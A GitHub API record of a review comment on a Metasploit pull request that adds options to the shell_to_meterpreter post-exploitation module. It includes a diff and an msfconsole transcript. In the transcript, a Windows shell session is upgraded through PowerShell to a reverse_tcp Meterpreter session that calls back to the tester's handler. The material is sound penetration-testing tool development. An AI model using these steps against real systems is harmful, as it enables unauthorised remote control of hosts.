{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/32541327","id":32541327,"diff_hunk":"@@ -31,16 +31,29 @@ def initialize(info = {})\n         OptAddress.new('LHOST',\n           [false, 'IP of host that will receive the connection from the payload.']),\n         OptInt.new('LPORT',\n-          [false, 'Port for Payload to connect to.', 4433]),\n+          [false, 'Port for payload to connect to.', 4433]),\n         OptBool.new('HANDLER',\n-          [ true, 'Start an Exploit Multi Handler to receive the connection', true])\n+          [ true, 'Start an exploit/multi/handler to receive the connection', true])\n       ], self.class)\n+    register_advanced_options([\n+      OptInt.new('HANDLE_TIMEOUT',\n+        [false, 'How long to wait for the session to come back', 30]),\n+      OptString.new('WIN_TRANSFER',\n+        [false, 'Which method to try first to transfer files on a Windows target. Valid values are: POWERSHELL, VBS', 'POWERSHELL']),\n+      OptString.new('PAYLOAD_OVERWRITE',","path":"modules/post/multi/manage/shell_to_meterpreter.rb","position":15,"original_position":15,"commit_id":"fc6860672b8346fffa3961c97ca156e34210e394","original_commit_id":"fc6860672b8346fffa3961c97ca156e34210e394","user":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars.githubusercontent.com/u/4551878?v=3","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"body":"Can you rename this option and reword its description? It's not clear what it does (sets a different payload by name).","created_at":"2015-06-16T16:45:13Z","updated_at":"2015-06-16T16:45:13Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/5530#discussion_r32541327","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5530","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/32541327"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5530#discussion_r32541327"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5530"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5530","id":37628206,"html_url":"https://github.com/rapid7/metasploit-framework/pull/5530","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5530.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5530.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5530","number":5530,"state":"open","locked":false,"title":"shell_to_meterpreter - more options, more verbose","user":{"login":"g0tmi1k","id":535942,"avatar_url":"https://avatars.githubusercontent.com/u/535942?v=3","gravatar_id":"","url":"https://api.github.com/users/g0tmi1k","html_url":"https://github.com/g0tmi1k","followers_url":"https://api.github.com/users/g0tmi1k/followers","following_url":"https://api.github.com/users/g0tmi1k/following{/other_user}","gists_url":"https://api.github.com/users/g0tmi1k/gists{/gist_id}","starred_url":"https://api.github.com/users/g0tmi1k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/g0tmi1k/subscriptions","organizations_url":"https://api.github.com/users/g0tmi1k/orgs","repos_url":"https://api.github.com/users/g0tmi1k/repos","events_url":"https://api.github.com/users/g0tmi1k/events{/privacy}","received_events_url":"https://api.github.com/users/g0tmi1k/received_events","type":"User","site_admin":false},"body":"More options, more verbose ...less bugs!\r\n\r\n+ Display/Verbose: Can show what stage it is up in (and in depth).\r\n+ New option: Timeout value. Default was 10 (and static), now 30 (and dynamic).\r\n+ New option: Overwrite payload (so if you wish to use python/meterpreter/reverse_http) instead.\r\n+ New option: Transfer method (Windows only. So it doesn't have to use powershell).\r\n+ Bug fix: Doesn't try and upgrade a Meterpreter shell (as it would crash out).\r\n\r\n## Example\r\n\r\n```\r\nmsf exploit(handler) > use post/multi/manage/shell_to_meterpreter\r\nmsf post(shell_to_meterpreter) > set SESSION 1\r\nSESSION => 1\r\nmsf post(shell_to_meterpreter) > set VERBOSE true\r\nVERBOSE => true\r\nmsf post(shell_to_meterpreter) > show options \r\n\r\nModule options (post/multi/manage/shell_to_meterpreter):\r\n\r\n   Name     Current Setting  Required  Description\r\n   ----     ---------------  --------  -----------\r\n   HANDLER  true             yes       Start exploit/multi/handler to receive the connection.\r\n   LHOST    192.168.0.4      no        IP of host that will receive the connection from the payload.\r\n   LPORT    4433             no        Port for payload to connect to.\r\n   SESSION  1                yes       The session to run this module on.\r\n\r\nmsf post(shell_to_meterpreter) > run\r\n\r\n[*] Upgrading session ID: 1\r\n[*] Platform: Windows\r\n[*] Upgrade payload: windows/meterpreter/reverse_tcp\r\n[*] Starting exploit/multi/handler\r\n[*] Started reverse handler on 192.168.0.4:4433 \r\n[*] Starting the payload handler...\r\n[*] Transfer method: Powershell\r\n[*] Powershell command length: 5463\r\n[*] Cleaning up handler\r\n[*] Post module execution completed\r\nmsf post(shell_to_meterpreter) > \r\n[*] Sending stage (882688 bytes) to 192.168.0.8\r\n[*] Meterpreter session 2 opened (192.168.0.4:4433 -> 192.168.0.8:51575) at 2015-06-13 18:15:29 +0100\r\n\r\nmsf post(shell_to_meterpreter) > sessions -l\r\n\r\nActive sessions\r\n===============\r\n\r\n  Id  Type                   Information                                                                       Connection\r\n  --  ----                   -----------                                                                       ----------\r\n  1   shell windows          Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation...  192.168.0.4:443 -> 192.168.0.8:51571 (192.168.0.8)\r\n  2   meterpreter x86/win32  <REMOVED> @ <REMOVED>                                                             192.168.0.4:4433 -> 192.168.0.8:51575 (192.168.0.8)\r\n\r\nmsf post(shell_to_meterpreter) >\r\n```\r\n\r\n...also works with `session -u 1`.\r\n\r\n\r\nThis all came about because the 10 second wait time wasn't enough (and would always time out).","created_at":"2015-06-13T17:21:21Z","updated_at":"2015-06-16T16:45:13Z","closed_at":null,"merged_at":null,"merge_commit_sha":"e9684f25f4eec74f50e213eb2d4feebdf3b96b46","assignee":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars.githubusercontent.com/u/4551878?v=3","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5530/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5530/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5530/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/fc6860672b8346fffa3961c97ca156e34210e394","head":{"label":"g0tmi1k:shell2meterpreter","ref":"shell2meterpreter","sha":"fc6860672b8346fffa3961c97ca156e34210e394","user":{"login":"g0tmi1k","id":535942,"avatar_url":"https://avatars.githubusercontent.com/u/535942?v=3","gravatar_id":"","url":"https://api.github.com/users/g0tmi1k","html_url":"https://github.com/g0tmi1k","followers_url":"https://api.github.com/users/g0tmi1k/followers","following_url":"https://api.github.com/users/g0tmi1k/following{/other_user}","gists_url":"https://api.github.com/users/g0tmi1k/gists{/gist_id}","starred_url":"https://api.github.com/users/g0tmi1k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/g0tmi1k/subscriptions","organizations_url":"https://api.github.com/users/g0tmi1k/orgs","repos_url":"https://api.github.com/users/g0tmi1k/repos","events_url":"https://api.github.com/users/g0tmi1k/events{/privacy}","received_events_url":"https://api.github.com/users/g0tmi1k/received_events","type":"User","site_admin":false},"repo":{"id":10967641,"name":"metasploit-framework","full_name":"g0tmi1k/metasploit-framework","owner":{"login":"g0tmi1k","id":535942,"avatar_url":"https://avatars.githubusercontent.com/u/535942?v=3","gravatar_id":"","url":"https://api.github.com/users/g0tmi1k","html_url":"https://github.com/g0tmi1k","followers_url":"https://api.github.com/users/g0tmi1k/followers","following_url":"https://api.github.com/users/g0tmi1k/following{/other_user}","gists_url":"https://api.github.com/users/g0tmi1k/gists{/gist_id}","starred_url":"https://api.github.com/users/g0tmi1k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/g0tmi1k/subscriptions","organizations_url":"https://api.github.com/users/g0tmi1k/orgs","repos_url":"https://api.github.com/users/g0tmi1k/repos","events_url":"https://api.github.com/users/g0tmi1k/events{/privacy}","received_events_url":"https://api.github.com/users/g0tmi1k/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/g0tmi1k/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/g0tmi1k/metasploit-framework","forks_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/forks","keys_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/events","assignees_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/merges","archive_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/g0tmi1k/metasploit-framework/releases{/id}","created_at":"2013-06-26T12:47:02Z","updated_at":"2015-04-01T15:56:23Z","pushed_at":"2015-06-15T21:44:20Z","git_url":"git://github.com/g0tmi1k/metasploit-framework.git","ssh_url":"git@github.com:g0tmi1k/metasploit-framework.git","clone_url":"https://github.com/g0tmi1k/metasploit-framework.git","svn_url":"https://github.com/g0tmi1k/metasploit-framework","homepage":"http://www.metasploit.com/","size":277418,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"open_issues_count":0,"forks":1,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"9dde32f52385421c6ef13467f52fe57ba7ea790e","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-06-16T15:49:00Z","pushed_at":"2015-06-16T16:21:36Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1069030,"stargazers_count":3928,"watchers_count":3928,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":3156,"mirror_url":null,"open_issues_count":223,"forks":3156,"open_issues":223,"watchers":3928,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5530"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5530"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5530"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5530/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5530/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5530/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/fc6860672b8346fffa3961c97ca156e34210e394"}}}}